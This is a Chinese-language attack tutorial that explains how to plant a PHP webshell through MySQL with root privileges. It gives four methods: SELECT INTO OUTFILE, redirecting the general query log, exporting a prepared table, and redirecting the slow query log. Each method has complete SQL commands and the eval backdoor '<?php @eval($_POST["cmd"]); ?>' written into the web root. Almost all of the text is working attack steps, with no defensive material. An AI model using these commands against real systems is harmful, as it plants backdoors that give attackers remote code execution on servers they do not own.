前提条件
- 数据库当前用户为root权限
- 已知当前网站的绝对路径(确定有写入权限)
secure_file_priv参数说明
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。
- 如果这个参数为空,这个变量没有效果,表示不对MySql服务的导入导出做限制
- 如果这个参数设为一个目录名,MySql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySql服务不会创建它
- 如果这个参数为NULL,MySql服务会禁止导入和导出操作。
查看secure_file_priv变量值
show variables like '%secure%';
查看是否有写入权限
select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,代表有文件权限,N就是没有
(一)、select into outfile 语句直接写入Webshell:
当secure_file_priv值不为NULL符合写入条件时,可以通过
select '<?php @eval($_POST["cmd"]); ?>' into outfile 'C:/phpstudy/www/shell.php';
写入Webshell
(二)、开启全局日志写入Webshell
当secure_file_priv值为NULL时,可以使用这种方法
show variables like '%general%'; 查看MySql全局日志的配置
set global general_log=on; 开启全局日志
set global general_log_file='C:/phpstudy/www/shell.php'; 设置日志文件为网站绝对路径下的文件
这样我们执行SQL语句时就会被写入到日志文件里
select '<?php @eval($_POST["cmd"]); ?>'; 执行语句写入日志
(三)、基于创建再导出写入Webshell
当secure_file_priv值不为NULL符合写入条件时,执行下面的sql语句,创建表并在表中写入一句话木马,再导出到网站的绝对路径
use test; 连接test数据库
create table test(id text not null); 创建test表并在里面添加id字段
insert into test(id) values('<?php @eval($_POST["cmd"]); ?>'); 写入一句话木马
select id from test into outfile 'C:/phpstudy/www/shell2.php'; 导出至网站绝对路径下的文件
drop table if exists test; 删除test表
(四)、基于慢查询日志写入Webshell
当secure_file_priv值为NULL时,可以使用这种方法
慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不适用索引的查询。默认情况下,MySql数据库是不开启慢查询日志的,long_query_time的默认值为10,即运行10秒以上的语句是慢查询语句。
show variables like '%long%'; 查看long_query_time变量值
set global long_query_time=1; 修改long_query_time变量值
show variables like '%slow%'; 查看慢查询日志的配置
set global slow_query_log=on; 开启慢查询日志
set global slow_query_log_file='C:/phpstudy/www/shell3.php'; 修改日志文件为网站绝对路径下的文件
执行sql语句,写webshell进慢查询日志文件,注意我们执行的sql语句有一个sleep的延时,这个延时需要大于long_query_time才能写入慢查询日志。
select '<?php @eval($_POST["cmd"]); ?>' or sleep(11);